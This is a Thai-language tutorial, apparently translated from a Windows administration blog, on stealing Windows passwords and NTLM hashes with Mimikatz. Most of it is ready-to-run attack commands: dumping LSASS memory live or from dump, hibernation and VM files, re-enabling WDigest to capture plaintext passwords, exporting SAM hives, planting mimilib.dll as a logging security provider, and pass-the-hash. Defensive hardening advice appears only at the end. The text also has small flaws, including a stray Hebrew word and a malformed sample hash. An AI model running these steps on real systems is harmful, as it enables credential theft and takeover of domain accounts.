Computer >> บทช่วยสอนคอมพิวเตอร์ >  >> ระบบ >> Windows Server

การดึงรหัสผ่านผู้ใช้จากหน่วยความจำ Windows ด้วย Mimikatz

ในบทความนี้ เขียนเป็นส่วนหนึ่งของซีรีส์ที่มุ่งเน้นความปลอดภัยของ Windows เราจะเรียนรู้วิธีที่ค่อนข้างง่ายในการรับรหัสผ่านของผู้ใช้ Windows ที่ใช้งานอยู่ทั้งหมดโดยใช้เครื่องมือ Mimikatz

Mimikatz.exe สามารถดึงรหัสผ่านแบบข้อความธรรมดาจากหน่วยความจำ Windows, แฮชรหัสผ่าน, ตั๋ว Kerberos เป็นต้น นอกจากนี้ mimikatz ยังช่วยให้คุณทำการโจมตี pass-the-hash, pass-the-ticket หรือสร้างตั๋ว Kerberos สีทอง (Golden Tickets) ฟังก์ชันการทำงานของ mimikatz ยังมีอยู่ใน Metasploit Framework

คุณสามารถดาวน์โหลด mimikatz จาก GitHub repo: https://github.com/gentilkiwi/mimikatz/releases/ แยกไฟล์ mimikatz_trunk.zip ไปยัง C:\Tools\mimikatz จะมี mimikatz 2 เวอร์ชันปรากฏในไดเรกทอรีนี้ — สำหรับ x64 และ x86 ใช้เวอร์ชันที่ตรงกับบิตของ Windows ของคุณ

ในบทความนี้ เราจะแสดงวิธีรับรหัสผ่านผู้ใช้ใน Windows Server 2016 หรือ Windows 10 โดยใช้ mimikatz

Disclaimer. ข้อมูลและเทคโนโลยีที่อธิบายในบทความนี้ควรใช้เพื่อวัตถุประสงค์ทางข้อมูลเท่านั้น และไม่ควรใช้เพื่อเข้าถึงบัญชี ข้อมูล และระบบของบุคคลที่สาม

การแฮกรหัสผ่านที่แฮชแล้วของ Windows ใน LSASS ด้วย Mimikatz

ลองดึงแฮชรหัสผ่านของผู้ใช้ที่เข้าสู่ระบบอยู่ทั้งหมดจากหน่วยความจำ Windows (กระบวนการ lsass.exe — Local Security Authority Subsystem Service) บนเซิร์ฟเวอร์ RDS ที่รัน Windows Server 2016

รันคำสั่งต่อไปนี้ใน Command Prompt ที่มีสิทธิ์ผู้ดูแลระบบ:

  1. รัน Mimikatz.exe ในฐานะผู้ดูแลระบบ;
  2. คำสั่งต่อไปนี้จะให้สิทธิ์การดีบักกระบวนการ (SeDebugPrivilege) กับบัญชีปัจจุบัน:
    privilege::debug
  3. แสดงรายการเซสชันผู้ใช้ที่ใช้งานอยู่:
    sekurlsa::logonPasswords full
  4. ในกรณีของผมบนเซิร์ฟเวอร์ นอกจากบัญชีของผมแล้ว ยังมีเซสชันใช้งานอยู่ของผู้ใช้ 2 คน: novach และ administrator.
  5. คัดลอกแฮช NTLM ของพวกเขา (ไฮไลท์ในภาพหน้าจอ).
    การดึงรหัสผ่านผู้ใช้จากหน่วยความจำ Windows ด้วย Mimikatz

คุณสามารถใช้ mimikatz ไม่ได้แบบโต้ตอบ แต่ในโหมดคำสั่ง เพื่อรับแฮชรหัสผ่านผู้ใช้โดยอัตโนมัติและส่งออกไปยังไฟล์ข้อความ ให้ใช้คำสั่ง:

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" >> c:\tmp\mimikatz_output.txt

ตอนนี้คุณสามารถใช้เครื่องมือออฟไลน์ (มีเครื่องมือ hashcat ใน Kali Linux) หรือบริการออนไลน์สำหรับถอดรหัสแฮช NTLM ผมจะใช้บริการ https://crackstation.net/

ตามที่เห็น บริการค้นพบค่าสำหรับแฮช NTLM เหล่านี้อย่างรวดเร็ว ดังนั้น เราได้รับรหัสผ่านผู้ใช้ในรูปแบบข้อความธรรมดา

นี่คือโฮสต์ RDS ที่มีผู้ใช้พร้อมกันมากและมีเซสชันของ enterprise administrator ดังนั้น หากคุณมีสิทธิ์แอดมินท้องถิ่นบนเซิร์ฟเวอร์นี้ คุณแม้แต่สามารถรับรหัสผ่านโดเมนแอดมินได้

การดึงรหัสผ่านผู้ใช้จากหน่วยความจำ Windows ด้วย Mimikatz

หากคุณใช้รหัสผ่านที่ซับซ้อนสำหรับผู้ใช้ Windows จะยากมากที่จะถอดรหัสได้ ดังนั้น จะต้องเปิดใช้งานความซับซ้อนของรหัสผ่านผ่าน GPO และตรวจสอบความแข็งแกร่งของรหัสผ่านในโดเมน AD เป็นประจำ

ตามที่เห็น เนื่องจาก mimikatz เราได้แฮช NTLM ของผู้ใช้งานทั้งหมด! คำสั่งสำเร็จเพราะโหมด Debug เปิดใช้งานบนคอมพิวเตอร์นี้ ซึ่งอนุญาตให้ตั้งค่าธง SeDebugPrivilege สำหรับกระบวนการที่ต้องการ ในโหมดนี้ โปรแกรมสามารถเข้าถึงหน่วยความจำระดับต่ำของกระบวนการที่เปิดใช้งาน בשםระบบได้

หมายเหตุ ในเดือนมิถุนายน 2017 บริษัทใหญ่หลายแห่งในหลายประเทศติดไวรัสรันซอมแวร์ NotPetya ซึ่งใช้โมดูล mimikatz ในตัวเพื่อเก็บรหัสผ่านของผู้ใช้และโดเมนแอดมิน

วิธีรับรหัสผ่านผู้ใช้จาก Memory Dump ของ Windows

วิธีการดึงแฮชรหัสผ่านข้างต้นจะไม่ทำงานหากติดตั้งแอนตี้ไวรัสที่บล็อกการฉีดโค้ด ในกรณีนี้ จะต้องสร้าง Memory Dump ของกระบวนการ LSASS บนโฮสต์เป้าหมาย คัดลอกไปยังคอมพิวเตอร์ของคุณ และดึงแฮชรหัสผ่านโดยใช้ mimikatz

การสร้าง Memory Dump ของกระบวนการใน Windows ทำได้ค่อนข้างง่าย เริ่ม Task Manager ระบุกระบวนการ lsass.exe คลิกขวาและเลือก Create Dump File

การดึงรหัสผ่านผู้ใช้จากหน่วยความจำ Windows ด้วย Mimikatz

Windows จะบันทึก memory dump ไปยังโฟลเดอร์ system32

คุณเพียงแค่ต้องแยกวิเคราะห์ไฟล์ dump โดยใช้ mimikatz (คุณสามารถทำงานนี้บนคอมพิวเตอร์อื่น) โหลด memory dump เข้า mimikatz:

Mimikatz "sekurlsa::minidump C:\Users\username\AppData\Local\Temp\lsass.DMP"

รับชื่อผู้ใช้และแฮชรหัสผ่านจาก dump:

# sekurlsa::logonPasswords

การดึงรหัสผ่านผู้ใช้จากหน่วยความจำ Windows ด้วย Mimikatz

คุณสามารถรับ memory dump จากคอมพิวเตอร์ระยะไกลโดยใช้ psexec หรือผ่าน WinRM (หากคุณมีสิทธิ์ผู้ดูแลระบบ) และดึงรหัสผ่านผู้ใช้จากมัน

คุณยังสามารถใช้เครื่องมือ procdump จาก Sysinternals เพื่อรับ dump:

procdump -ma lsass.exe lsass.dmp

Memory dump ของกระบวนการ LSASS สามารถรับได้ด้วยฟังก์ชัน Out-Minidump.ps1 ใน PowerShell นำเข้าฟังก์ชัน Out-Minidump เข้าเซสชัน PoSh และสร้าง memory dump ของกระบวนการ LSASS:

Import-Module .\OutMiniDump.ps1
Get-Process lsass | Out-Minidump

การดึงรหัสผ่านผู้ใช้จากหน่วยความจำ Windows ด้วย Mimikatz

การดึงรหัสผ่าน Windows จาก Hyberfil.sys และไฟล์ Page ของ VM

ยังเป็นไปได้ที่จะดึงรหัสผ่านผู้ใช้จากไฟล์ memory dump, ไฟล์สำรองข้อมูลการนอนหลับของระบบ (hiberfil.sys), และ .vmem ของไฟล์เครื่องเสมือน (ไฟล์แบ่งหน้าของเครื่องเสมือนและสแนปชอตของพวกเขา)

เพื่อทำเช่นนั้น คุณต้องการ Debugging Tool for Windows (WinDbg), mimikatz เอง และ เครื่องมือ สำหรับแปลง .vmem เป็นไฟล์ memory dump (ใน Hyper-V อาจเป็น vm2dmp.exe หรือ MoonSols Windows Memory toolkit สำหรับไฟล์ vmem ของ VMWare)

ตัวอย่างเช่น เพื่อแปลงไฟล์เพจ vmem ของเครื่องเสมือน VMWare เป็น dump ให้ใช้คำสั่งนี้:

bin2dmp.exe "wsrv2008r2-1.vmem" vmware.dmp

นำเข้า dump เข้า WinDbg (File -> Open Crash Dump), โหลดไลบรารี mimikatz mimilib.dll:

.load mimilib.dll

ค้นหากระบวนการ lsass.exe ใน dump:

!process 0 0 lsass.exe

การดึงรหัสผ่านผู้ใช้จากหน่วยความจำ Windows ด้วย Mimikatz

และสุดท้าย พิมพ์:

.process /r /p fffffa800e0b3b30
!mimikatz

ผลลัพธ์คุณจะได้รายการผู้ใช้ Windows และแฮช NTLM ของรหัสผ่านของพวกเขา หรือแม้แต่รหัสผ่านแบบข้อความธรรมดา

การดึงรหัสผ่านผู้ใช้จากหน่วยความจำ Windows ด้วย Mimikatz

การดึงรหัสผ่าน Windows แบบข้อความธรรมดาโดยใช้ WDigest

คุณสามารถใช้โปรโตคอล WDigest สำหรับการตรวจสอบสิทธิ์ HTTP digest บน Windows เวอร์ชันเก่า ข้อบกพร่องด้านความปลอดภัยหลักของโปรโตคอลนี้คือ มันจัดเก็บรหัสผ่านของผู้ใช้ในหน่วยความจำเป็นข้อความธรรมดา แทนที่จะเป็นแฮชของมัน Mimikatz ช่วยให้คุณดึงรหัสผ่านเหล่านี้จากหน่วยความจำของกระบวนการ LSASS.EXE

โปรโตคอล WDigest ถูกปิดใช้งานโดยค่าเริ่มต้นใน Windows เวอร์ชันใหม่ทั้งหมด รวมถึง Windows 10 และ Windows Server 2016/2019 แต่ไม่ได้ถูกลบออกสมบูรณ์ หากคุณมีสิทธิ์ผู้ดูแลระบบท้องถิ่นใน Windows คุณสามารถเปิดใช้งานโปรโตคอล WDigest รอผู้ใช้เข้าสู่ระบบ และขโมยรหัสผ่านของพวกเขา

เปิดใช้งาน Wdigest บน Windows:

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1

การดึงรหัสผ่านผู้ใช้จากหน่วยความจำ Windows ด้วย Mimikatz

รีเฟรชการตั้งค่า Group Policy:

gpupdate /force

การดึงรหัสผ่านผู้ใช้จากหน่วยความจำ Windows ด้วย Mimikatz

รอผู้ใช้เข้าสู่ระบบและรับรหัสผ่านของพวกเขาด้วย mimikatz (ผู้ใช้ต้องเข้าสู่ระบบใหม่บน Windows 10; บน Windows Server 2016 เพียงปลดล็อกเซสชันหลังจากหน้าจอถูกล็อกก็เพียงพอ):

privilege::debug
sekurlsa::wdigest

ตามที่เห็น ส่วน wdigest มีรหัสผ่านของผู้ใช้ในรูปแบบข้อความธรรมดา:

การดึงรหัสผ่านผู้ใช้จากหน่วยความจำ Windows ด้วย Mimikatz

การดึงแฮชรหัสผ่านผู้ใช้ท้องถิ่นจาก SAM

ด้วย mimikatz คุณสามารถดึงแฮชรหัสผ่านของผู้ใช้ Windows ท้องถิ่น (รวมถึงบัญชี Administrator ต้นฉบับ) จาก SAM:

privilege::debug
token::elevate
lsadump::sam

คุณยังสามารถดึงแฮช NTLM จาก Registry SAM hive

  1. ส่งออก Registry hives ของ SYSTEM และ SAM ไปยังไฟล์:
    reg save hklm\sam c:\tmp\sam.hiv
    reg save hklm\security c:\tmp\sec.hiv

    การดึงรหัสผ่านผู้ใช้จากหน่วยความจำ Windows ด้วย Mimikatz
  2. จากนั้นใช้ Mimikatz เพื่อดึงแฮชรหัสผ่าน:
    privilege::debug
    token::elevate
    lsadump::sam c:\tmp\sam.hiv c:\tmp\sec.hiv

การดึงรหัสผ่านผู้ใช้จากหน่วยความจำ Windows ด้วย Mimikatz

การทำ Pass-the-Hash Attacks ผ่าน Mimikatz

หากผู้ใช้มีรหัสผ่านที่แข็งแกร่งและคุณไม่สามารถถอดรหัสแฮช NTLM ได้อย่างรวดเร็ว Mimikatz สามารถใช้ทำการโจมตี pass-the-hash (การนำแฮชกลับมาใช้ใหม่) ในกรณีนี้ แฮชสามารถใช้รันกระบวนการแทนผู้ใช้เป้าหมายได้ ตัวอย่างเช่น หากคุณดึงแฮช NTLM ของรหัสผ่านผู้ใช้ คำสั่งต่อไปนี้จะรัน Command Prompt ภายใต้บัญชีนั้น:

privilege::debug
sekurlsa::pth /user:Administrator /domain:woshub /ntlm:e91ccf23eeeee21a12b6709de24aa42 /run:powershell.exe

การดึงรหัสผ่านผู้ใช้จากหน่วยความจำ Windows ด้วย Mimikatz

นอกจากนี้ คุณสามารถใช้เครื่องมือ Invoke-TheHash เพื่อนำข้อมูลประจำตัว NTLM กลับมาใช้ใหม่เพื่อรันคำสั่งบนคอมพิวเตอร์ระยะไกล

การดึงรหัสผ่านจาก Windows Credential Manager

ใน Windows คุณสามารถบันทึกรหัสผ่านใน Windows Credential Manager (อาจเป็นรหัสผ่านสำหรับเข้าถึงคอมพิวเตอร์ระยะไกล, เว็บไซต์, ข้อมูลประจำตัว RDP ในรูปแบบ TERMSRV/hostname1) Mimikatz สามารถดึงรหัสผ่านเหล่านี้จาก Credential Manager และแสดงให้คุณเห็น:

privilege::debug
sekurlsa::credman

ตามที่เห็น รหัสผ่านที่บันทึกไว้แสดงภายใต้ส่วน credman

การดึงรหัสผ่านผู้ใช้จากหน่วยความจำ Windows ด้วย Mimikatz

รหัสผ่าน AutoLogon ของ Windows ถูกจัดเก็บใน Registry เป็นข้อความธรรมดา รหัสผ่าน Wi-Fi ที่บันทึกไว้ก็สามารถดึงได้ง่ายเช่นกัน

การดึงรหัสผ่าน Windows Logon แบบข้อความธรรมดา

อีกวิธีที่น่าสนใจในการดึงรหัสผ่านใน Windows คือการใช้ SSP provider เพิ่มเติม (Security Support Provider) ที่ขับเคลื่อนโดย mimikatz

  1. คัดลอกไฟล์ไลบรารี Mimikatz mimilib.dll ไปยังโฟลเดอร์ C:\Windows\System32\;
  2. ลงทะเบียน SPP provider เพิ่มเติมด้วยคำสั่ง:
    reg add "hklm\system\currentcontrolset\control\lsa" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ
  3. เมื่อผู้ใช้แต่ละคนเข้าสู่ระบบ Windows รหัสผ่านของพวกเขาจะถูกเขียนลงในไฟล์ kiwissp.log คุณสามารถแสดงรหัสผ่านทั้งหมดโดยใช้ PowerShell:
    Get-Content C:\Windows\System32\kiwissp.log

การดึงรหัสผ่านผู้ใช้จากหน่วยความจำ Windows ด้วย Mimikatz

การปกป้อง Windows ต่อการโจมตี Credential Dumping

ใน Windows 8.1 และ Windows Server 2012 R2 (และใหม่กว่า) ความสามารถในการขโมยรหัสผ่านจาก LSASS ถูกจำกัด แฮช LM และรหัสผ่านไม่ได้ถูกจัดเก็บในหน่วยความจำใน Windows เวอร์ชันเหล่านี้โดยค่าเริ่มต้น

ฟังก์ชันเดียวกันถูก backport ไปยัง Windows เวอร์ชันก่อนหน้า (7/8/2008R2/2012) ซึ่งคุณต้องติดตั้งอัปเดตพิเศษ KB2871997 (อัปเดตนี้ให้ตัวเลือกอื่นๆ เพื่อเพิ่มความปลอดภัยของระบบ) และในคีย์ Registry HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest ตั้งค่าพารามิเตอร์ DWORD UseLogonCredential เป็น 0 (ปิดใช้งาน WDigest)

หากคุณพยายามดึงรหัสผ่านจากหน่วยความจำหลังจากติดตั้งอัปเดตนี้และคีย์ UseLogonCredential คุณจะเห็นว่า mimikatz ไม่สามารถดึงรหัสผ่านและแฮชได้โดยใช้คำสั่ง creds_wdigest

การดึงรหัสผ่านผู้ใช้จากหน่วยความจำ Windows ด้วย Mimikatz

ด้านบน เราแสดงวิธีที่คุณสามารถตั้งค่าคีย์ Registry นี้เป็นค่าที่เปราะบางได้ หากคุณมีสิทธิ์ผู้ดูแลระบบท้องถิ่น หลังจากนั้น คุณสามารถเข้าถึงรหัสผ่านในหน่วยความจำ LSA ได้อีกครั้ง

ใน mimikatz มีตัวเลือกอื่นๆ สำหรับการรับรหัสผ่านและแฮชของพวกเขาจากหน่วยความจำ (WDigest, LM-hash, NTLM-hash, โมดูลสำหรับการจับตั๋ว Kerberos) ดังนั้น จึงแนะนำให้ดำเนินมาตรการความปลอดภัยต่อไปนี้เพื่อการป้องกัน:

  • ป้องกันการจัดเก็บรหัสผ่านโดยใช้ Reversible Encryption;
  • ปิดใช้งาน WDigest;
  • ป้องกันการบันทึกรหัสผ่านใน Credential Manager;
  • ปิดใช้งาน NTLM;
  • ป้องกันการแคชข้อมูลประจำตัวของผู้ใช้โดเมน (โดยพารามิเตอร์ Registry CachedLogonsCount หรือตัวเลือก Group Policy Interactive logon policy: Number of previous logons to cache);
  • หากระดับฟังก์ชันของโดเมนเป็น Windows Server 2012 R2 หรือใหม่กว่า คุณสามารถเพิ่มบัญชีผู้ดูแลระบบเข้าไปในกลุ่ม Protected Users พิเศษ ในกรณีนี้ แฮช NTLM จะไม่ถูกสร้างสำหรับผู้ใช้ดังกล่าว
  • เปิดใช้งานการปกป้องกระบวนการ LSA: reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 00000001 /f (การตั้งค่านี้จะอนุญาตให้เฉพาะกระบวนการที่ลงนามโดย Microsoft เท่านั้นที่เข้าถึงหน่วยความจำ LSASS ได้ คุณสามารถปรับใช้คีย์ Registry นี้ในโดเมนผ่าน GPO);
  • ใช้ Credential Guard เพื่อปกป้องเนื้อหา LSA ของกระบวนการ;
  • ป้องกันการรับสิทธิ์ Debug แม้สำหรับ Local Admins: GPO -> Windows Settings -> Security Settings -> Local Policies -> User Rights Assignment -> Debug programs (อย่างไรก็ตาม วิธีนี้หลีกได้ง่ายหากคุณมีสิทธิ์ LocalSystem หรือเช่นนี้)

Tip บทความโดยละเอียดเกี่ยวกับวิธีปกป้องหน่วยความจำของ Windows จากการดึงรหัสผ่านและแฮช – Methods for defending against mimikatz in a Windows domain

ข้อสรุป อีกครั้ง เราเตือนคุณถึงแนวคิดความปลอดภัยหลักบางประการ

  • อย่าใช้รหัสผ่านเดียวกันสำหรับบริการต่างๆ (โดยเฉพาะ สำหรับการเข้าถึงโฮสต์ RDP/RDS ที่เป็นของบุคคลที่สาม);
  • คิดถึงความปลอดภัยของรหัสผ่านและข้อมูลที่จัดเก็บบนเครื่องเสมือนในคลาวด์ เพราะคุณไม่สามารถแน่ใจได้ว่าใครอื่นมีการเข้าถึงไฮเปอร์ไวเซอร์และที่จัดเก็บที่ตั้งไฟล์เครื่องเสมือน;
  • ลดจำนวนบัญชีที่มีสิทธิ์ผู้ดูแลระบบส่วนกลางหรือท้องถิ่นให้น้อยที่สุด (ดูคู่มือ Securing administrator accounts in Windows environment);
  • อย่าเข้าสู่ระบบภายใต้บัญชีโดเมนแอดมินบนเซิร์ฟเวอร์และคอมพิวเตอร์ที่ผู้ใช้อื่นเข้าถึงได้